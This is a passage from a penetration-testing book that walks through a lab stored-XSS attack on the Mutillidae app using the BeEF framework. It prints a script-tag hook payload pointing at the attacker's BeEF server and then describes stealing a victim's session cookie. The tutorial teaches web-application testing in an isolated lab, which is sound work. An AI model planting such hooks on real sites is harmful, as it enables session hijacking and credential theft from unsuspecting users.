The Browser Exploitation Framework (BeEF, available at http://beefproject.com) is a tool we took a look at in Penetration Testing with the Raspberry Pi, Second Edition (https://ww w.packtpub.com/networking-and-servers/penetration-testing-raspberry-pi-secon d-edition), where we discussed its general use as a honeypot or malicious web server.
These same capabilities make BeEF a fantastic tool for the delivery and subsequent management of a variety of XSS attacks. What makes BeEF powerful is that it leverages a single hook script in internet browsers for its attack, and because of the XSS vulnerability in the web server, it can evade most controls employed by more paranoid or better trained victims. Short of blocking various HTML data types completely, a perfectly configured client can still be run because of the trusted relationship exploited by the attacker.
BeEF, after hooking the victim, is capable of assessing the inherent vulnerabilities of the browser and operating system combination. Based on these findings, BeEF offers a range of command modules that can be launched, such as taking screenshots, scraping credentials or exfiltrating cookies, or even triggering a beep sound. Hooked systems can only be accessed while they are online. However, once hooked, BeEF can track when a system establishes internet connectivity to continue launching commands against that system. Pretty slick, and very scary!
To show this in action and help understand the power of a Stored XSS attack, we'll use the BeEF hook script and point the client to our Kali machine's BeEF instance. The following screenshot shows our test scenario, where the following are configured:
Attacker's machine: Kali VM is running a BeEF server, listening on all interfaces (172.16.30.128 is the external IP address)
Web Server/Application: OWASP BWA VM, specifically the Mutillidae web application
Client: Windows 7 VM running Internet Explorer 10 (evaluation copy)
The attacker can remotely execute command modules from the Kali/BeEF control headend while the hooked victim continues to use the internet, typically oblivious to the
compromise. In an actual attack or a black-box attack as seen in the following screenshot, the hacker will more often than not deploy a cloud or otherwise temporary instance of Kali or a similar machine and masquerade it behind several layers of obfuscation (VPN, TOR, proxy, and so on) to act as the attacking machine and make attribution or detection harder on the target server. Regardless of the attacking machine's location, in a stored XSS, the vulnerable server will continue to help us hook our prey.
We can first launch BeEF-XSS from the GUI applications menu, the Favorites bar, or from the CLI by navigating to the BeEF directory (cd /usr/share/beef-xss) and then running the beef script using ./beef. As it starts up, the Terminal session will show us the general URL for the user interface (UI URL in red) and the script we'll want to use to hook our prey (Hook, in blue), as seen here:
BeEF's Startup process tells us how to manage the instance and how to hook the browser.
BeEF will automatically launch a browser session that you can log in to using the username and password of beef. When it is first fired up, the online and offline Browsers lists will be empty. We'll open a new tab and visit the Mutillidae Web Application as a visiting attacker, where we can enter our hook script in a field sure to be seen by the poor victims (OWASP 2013 | A3 - Cross Site Scripting (XSS) | Persistent (Second Order) | Add to your blog), as seen here:
We'll be presented with a blog entry form, in which we can drop our hook script (<script src="http://172.16.30.128:3000/hook.js"></script>), and then click the Save Blog Entry button (as shown in the following screenshot):
Planting our hook script on the web app's blog feature.
Okay, let's switch hats and open up our poor, unsuspecting Windows 7 VM running IE 10!
On the windows VM, we'll visit the blog as an observer – nothing crazy here. Just follow the path of OWASP 2013 | A3 - Cross Site Scripting (XSS) | Persistent (Second Order) | View someone's blog as we see in the figure following, we'll want to see the inputs of all users.
The page will show us all of the entries, including our anonymous user's input containing the script. We know that the blog pages are vulnerable because we saw it identified in Chapter 5, Proxy Operations with OWASP ZAP and Burp Suite, testing as potentially possessing an XSS script vulnerability (as shown in figure following). Here we know that the server is not validating the contents of these entries before parroting them back in responses from subsequent victims.
Browsing to the affected blog from the victim site.
Once we've navigated to the blog view (as shown in figure following), we'll see a blank space where the anonymous user apparently entered nothing. At this point, they have no reason to believe they have been hacked or were exposed to a malicious XSS attack.
All that wasted potential (script hidden) in an otherwise awesome blog.
Our Kali box knows otherwise; looking at the control UI for our BeEF-XSS framework, we can see that the Windows 7 box running IE 10 has checked in and is reporting for duty.
Because browsers are so helpful in announcing what they can and cannot support, BeEF has a pretty good idea as to what hacks and tricks we can accomplish with the victim we've just hooked, and in following screenshot, we see that I have searched for cookie-related
commands, selected Get Cookie from the Browser | Hooked Domain part of the Module Tree, and run it to obtain a session cookie being used between the victim's browser and the Mutillidae web server. Other useful attacks that we can use, outside just proving that an XSS vulnerability exists, are those that can help us grab social media login statuses, installed software, browsing history, and anything else that can help us better characterize the target environment.
Almost 200 Modules come with BeEF to help us turn browsers into extensions of us!
Keep in mind, we came here to pen-test the web application, not the users and the entire environment. Unless you also have a red team sort of charter, steer clear of pulling anything outside any web-application-specific data.